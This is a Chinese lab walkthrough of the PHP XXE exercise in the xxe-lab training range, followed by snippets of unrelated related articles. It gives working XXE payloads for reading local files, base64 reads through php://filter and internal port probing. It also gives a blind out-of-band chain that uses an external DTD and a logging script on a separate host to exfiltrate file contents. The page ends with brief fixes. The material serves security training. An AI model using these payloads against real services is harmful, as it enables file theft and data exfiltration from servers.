当前位置: 首页 > news >正文

XXE-lab-master靶场:PHP_xxe

目录

有回显

测试回显位置

构建payload

无回显数据外带

构建payload

漏洞修复


XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。

下载地址:https://github.com/c0ny1/xxe-lab

将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 以下,然后访问以下地址开始练习

http://127.0.0.1/xxe-lab-master/php_xxe/

有回显

打开PHP_XXE目录下的 index.html 文件查看源代码,发现73行会在 Login按钮下会触发JavaScript脚本的 doLogin() 函数。

查看 doLogin() 函数定义代码,发现 JavaScript 脚本会将用户输入的 username 和 password 拼接为xml格式的数据,并且利用 ajax 的方法提交,提交时 xml 的数据被当作 POST 数据包的内容提交。

打开后端的 doLogin.php 文件在该 PHP 文件中,主要是接收POST请求的内容,并将其转化为XML对象,然后提取XML对象中的 username 和 password 字段。然后比对两个字段值分别是否相等。

libxml_disable_entity_loader(Fash)
代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下需要将这里的False改为True,即可避免产生XXE漏洞。
loadXML()
该函数可以将一个输入的字符串转化为DOMDocument对象。
simplexml_import_dom()
该函数可以把DOM节点转化为SimpleXMLElement对象。

在登录界面输入账号密码并抓取数据包

测试回显位置

通过测试,能看到用户名位置存在有回显的。而后面密码字段就无回显

构建payload

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]><user><username>&name;</username><password>1</password></user>

读取本地文件(写一个 1.txt 文件,内容随便,我这里是 3 个 hello)

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///d://1.txt">
]><user><username>&name;</username><password>1</password></user>

使用PHP伪协议读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">]><user><username>&fl;</username><password>1</password></user>

探测内网存活主机与端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:3306">]><user><username>&fl;</username><password>1</password></user>

无回显数据外带

把XXE-labs靶场的输出及报错都关闭,模拟无回显情况,把 phpStudy_64\phpstudy_pro\WWW\xxe-lab-master\php_xxe\doLogin.php 的 doLogin.php 中的最后一行代码注释掉,在账号密码上面加一句代码

error_reporting(0);

构建payload

1、 运行下面的XML语法,发现没有了数据回显

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
%shit;
]>

2、 在远程服务器上创建 evil.xml 文件并使用 Python 开启 http 服务

1.php 内容:

<?php file_put_contents("1.txt", $_GET['file']); ?>

evil.xml内容:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.110.24:8000/1.php?content=%file;'>"> %payload;
python -m http.server 8000

3、构造外部实体并进行访问

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.24:8000/evil.xml">
%dtd;
%send;
]>

回到HTTP服务器上发现数据已经带到请求日志上,经Base64解码得出内容

漏洞修复

1、使用开发语言禁用外部实体;

2、过滤 SYSTEM/PUBLIC 等关键字;

相关文章:

XXE-lab-master靶场:PHP_xxe

目录 有回显 测试回显位置 构建payload 无回显数据外带 构建payload 漏洞修复 XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。 下载地址&#xff1a;https://github.com/c0ny1/xxe-lab 将PHPStudy的中间件与版本信息调制为 php-5.4.29Apache 以…...

视图,存储过程和触发器

目录 视图 创建视图&#xff1a; 视图的使用 查看库中所有的视图 删除视图 视图的作用&#xff1a; 存储过程&#xff1a; 为什么使用存储过程&#xff1f; 什么是存储过程&#xff1f; 存储过程的创建 创建一个最简单的存储过程 使用存储过程 删除存储过程 带参的存储…...

sqli-labs(6-10)关通关讲解

sqli-labs(6-10)关通关讲解 Less-6 方法一&#xff1a;手工注入 1.判断闭合 http://localhost/sqli-labs/Less-6/?id1" //报错 http://localhost/sqli-labs/Less-6/?id1" -- //正常 http://localhost/sqli-labs/Less-6/?id1" and 11 -- http://localhos…...

【解决方法】git clone出现 curl 56 OpenSSL SSL_read: Connection was reset, errno 10054

当我们克隆别人的项目出现以下提示信息时候 remote: Enumerating objects: 7095, done. error: RPC failed; curl 56 OpenSSL SSL_read: Connection was reset, errno 10054 error: 2292 bytes of body are still expected fetch-pack: unexpected disconnect while reading s…...

机械拆装-基于Unity-本地数据持久化

目录 1. 数据结构简介&#xff1a;数据的集合 1.1 线性数据结构 1.2 非线性数据结构 2. 对数据集合的操作&#xff1a; 3. 数据持久化 3.1 数据的序列化存储 3.2 JSON文件硬盘存储 3.2.1 Json文件允许存储的数据类型 3.2.2 Json文件的语法格式 3.2.3 Json文件的读取 3.2.4 …...

【SpringBoot】4.3.5 参数传递之ModelAndView对象

ModelAndView也是SpringMVC中常用的数据返回对象。当控制器处理完请求时&#xff0c;通常会将包含视图对象和数据的ModelAndView对象一起返回前台。它的作用类似request对象的setAttribute()方法。 ModelAndView对象有两个作用: 1)设置转向地址(这也是ModelAndView和ModelMap的…...

《技术人求职之道》之简历优化篇(上):量身打造简历,如何与自身情况完美匹配

摘要 在求职过程中&#xff0c;简历优化是提升面试机会的关键步骤。本文将探讨如何通过精心设计简历来提高求职成功率。文章将首先指出&#xff0c;不存在完美简历&#xff0c;重要的是根据个人实际情况定制简历。接着&#xff0c;详细介绍撰写简历时应遵循的基本原则和要素&a…...

mysql+php+html实现学生管理系统

mysqlphphtml实现学生管理系统 前言 本文使用Mysqlphphtml实现一个简单的学生管理系统&#xff0c;实现了登陆&#xff0c;注册&#xff0c;总览学生信息&#xff0c;添加学生&#xff0c;查询特定的学生&#xff0c;删除指定的学生等功能。并且本文仅用来学习就够了&#xf…...

find+rm一行命令删除文件夹及子文件夹下文件,不删除子文件夹,或者用python实现

如果你正在使用类Unix操作系统&#xff08;如Linux或macOS&#xff09;&#xff0c;并希望使用命令行工具rm来删除一个文件夹及其子文件夹下的所有文件&#xff0c;同时保留文件夹结构&#xff0c;你可以使用find命令配合rm来实现这一操作。这种方法非常高效且常用于批量删除文…...

超详细的linux-conda环境安装教程

安装和配置Linux系统中的Conda环境是一个强大的工具&#xff0c;它可以帮助用户管理Python及其库。以下是一份超详细的Linux-Conda环境安装教程&#xff1a; 1. 安装前的准备 确保你的Linux系统已经更新到最新版本&#xff0c;并安装了基本的开发工具和库。 sudo apt-get up…...

vite项目构建配置

1、用vite搭建项目 使用npm create vitelatest构建项目&#xff0c;配置项选项react->tsSWC即可。 让后打开项目npm i。 2、项目配置 2.1、vite配置 主要是配置用到的插件&#xff08;plugins--比如&#xff1a;svg、mock等&#xff09;、路径、环境变量的使用、打包、…...

Java 反射机制与Spring框架的那点事

Java 反射机制是 Java 语言提供的一种能力&#xff0c;允许程序在运行时查询、访问和修改它自己的结构和行为。反射机制非常有用&#xff0c;但同时也需要谨慎使用&#xff0c;因为它可能会带来性能开销和安全风险。 以下是 Java 反射机制的一些关键概念和用法&#xff1a; Cl…...

计算机网络面试题3

四次挥手 断开连接需要四次挥手 1.客户端发送一个FIN(SEQx&#xff09;标志的数据包到服务端&#xff0c;用来关闭客户端到服务端的数据传送&#xff0c; 然后客户端进入FIN-WAIT-1状态。 2.服务端收到一个FIN(SEQx&#xff09;标志的数据包&#xff0c;它…...

day54|110.字符串接龙, 105.有向图的完全可达性, 106.岛屿的周长

110.字符串接龙 110. 字符串接龙 (kamacoder.com) #include<iostream> #include<vector> #include<unordered_set> #include<unordered_map> #include<string> #include<queue>using namespace std;int main(){int n 0;cin >> n;…...

使用docker在CentOS 7上安装php+mysql+nginx环境教程并运行WordPress

文章目录 一、安装docker1、切换yum源并更新系统2、卸载旧版docker3、配置Docker的yum库4、安装Docker5、启动和校验Docker6、配置镜像加速6.1、注册阿里云账号6.2、开通镜像服务6.3、配置镜像加速二、部署php+mysql+nginx环境1、准备目录结构2、拉取镜像3、运行容器并从中拷贝…...

vite tsx项目的element plus集成 - 按需引入踩坑

前面我们进行了开源组件的自研&#xff0c;很多组件可直接用现成的开源组件库&#xff0c;并不需要自己重复造轮子&#xff0c;为此我们讲如何在当前vite vitepress tsx技术整合的项目中实现element plus组件的按需引入&#xff0c;同时解决遇到的一些坑。 安装Element Plus…...

Android GreenDao 升级 保留旧表数据

Android GreenDao 升级 保留旧表数据 大川的川关注IP属地: 北京 0.2052019.08.05 11:54:36字数 270阅读 363 瓦力和伊娃 GreenDao升级库版本号之后&#xff0c;以前的旧数据没有了&#xff0c;为啥&#xff0c;因为GreenDao在升级的时候会删除旧库&#xff0c;创建新库&#…...

记一次证书站有趣的SQL注入

一、确定站点 按照以前文章中提到的寻找可进站测试的思路&#xff0c;找到了某证书站的一处站点&#xff0c;通告栏中写明了初始密码的结构&#xff0c;因此我们可通过信息搜集进入该站点(可以考虑去搜集比较老的学号&#xff0c;因为这样的账号要么被冻结&#xff0c;要么就是…...

1_初识pytorch

之前完全没有了解过深度学习和pytorch&#xff0c;但现在因为某些原因不得不学了。不得不感叹&#xff0c;深度学习是真的火啊。纯小白&#xff0c;有错的欢迎指正~ 参考视频&#xff1a;PyTorch深度学习快速入门教程&#xff08;绝对通俗易懂&#xff01;&#xff09;【小土堆…...

c++typeid()的使用

用处: typeid()函数主要用来获取对应类型或者变量的类型信息&#xff0c;其返回一个std::type_info的对象&#xff0c;这个对象中存放了对应类型的具体信息。 所以typeid()函数就是获取一个type_info的类型&#xff0c;然后可以通过此类型来获取到相应的类型信息。 type_info的…...

STM32F407 + RT-Thread 实战:从工程结构到多线程 LED 闪烁

一、工程简介最近看了一个基于 STM32F407 的 RT-Thread 工程&#xff0c;整体结构比较标准&#xff0c;功能上也比较适合作为入门练手项目。这个工程的核心功能并不复杂&#xff0c;主要是通过 RT-Thread 创建多个线程&#xff0c;分别控制不同的 LED 引脚按不同节奏闪烁。虽然…...

5步彻底解决显卡风扇异常:FanControl专业调校完全指南

5步彻底解决显卡风扇异常&#xff1a;FanControl专业调校完全指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa…...

如何在15分钟内搭建个人游戏串流服务器:Sunshine跨平台游戏串流终极指南

如何在15分钟内搭建个人游戏串流服务器&#xff1a;Sunshine跨平台游戏串流终极指南 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 想要在任何设备上畅玩PC游戏大作吗&#xff1f…...

Unity动态设置Layer与摄像机屏蔽的完整闭环方案

1. 这不是“加个Layer”那么简单&#xff1a;为什么动态设置Layer常被误用却没人深究在Unity项目里&#xff0c;我见过太多人把“给GameObject动态设置Layer”当成一个随手就能调用的API——go.layer 12;&#xff0c;敲完回车&#xff0c;心里就默认“好了”。结果跑起来发现&…...

实时洞察,视觉赋能:国内情绪识别API公司推荐及计算机视觉流派深度解析

引言在人工智能与各行业深度融合的今天&#xff0c;通过非接触方式理解用户情绪、生理状态与心理倾向&#xff0c;已成为人机交互、安全防控、健康管理等领域的关键能力。本文围绕提供情绪识别类API的公司类型&#xff0c;梳理国内情绪识别的主流技术路径&#xff0c;并重点解析…...

2026最新测评:4款海外降英文文本AIGC工具实测

我用GPT写了一篇英文技术报告&#xff0c;然后分别扔进4个降AI工具。结果出乎意料。如果你经常用ChatGPT、Claude或Gemini写英文内容——无论是论文摘要、技术文档、公司报告还是博客文章——你一定遇到过这个尴尬&#xff1a;明明内容是自己构思、自己修改的&#xff0c;但Tur…...

别再装ModelSim了!用HDLBits网页版5分钟搞定Verilog仿真和波形图

5分钟极速验证&#xff1a;用HDLBits网页版替代传统Verilog仿真工具 在图书馆公用电脑上突然有了个FPGA设计灵感&#xff0c;却发现自己没装ModelSim&#xff1f;公司电脑没有管理员权限&#xff0c;无法安装Vivado Simulator&#xff1f;别急着放弃——打开浏览器&#xff0c…...

circumflex 语法高亮功能详解:让评论和文章更易读的终极指南

circumflex 语法高亮功能详解&#xff1a;让评论和文章更易读的终极指南 【免费下载链接】circumflex &#x1f33f; Its Hacker News in your terminal 项目地址: https://gitcode.com/gh_mirrors/ci/circumflex circumflex 是一个强大的终端 Hacker News 浏览器&#…...

动态图神经网络实现多商品时序协同预测

1. 项目概述&#xff1a;为什么传统时序模型在多商品预测中频频“掉链子”你有没有遇到过这样的场景&#xff1a;一家区域连锁超市的运营团队&#xff0c;每天盯着几十种SKU的销售数据发愁——酸奶销量突然飙升&#xff0c;但库存系统还在按上周的均值补货&#xff1b;新款保温…...

Open MCT性能测试实战:JMeter多协议分层压测方法

1. 为什么Open MCT的性能不能只靠“感觉”来判断&#xff1f;Open MCT——NASA开源的航天器监控与控制系统可视化平台&#xff0c;这几年在工业物联网、能源调度、科研实验数据看板等场景里越来越常见。但凡接触过它的人&#xff0c;几乎都会在部署后遇到同一个问题&#xff1a…...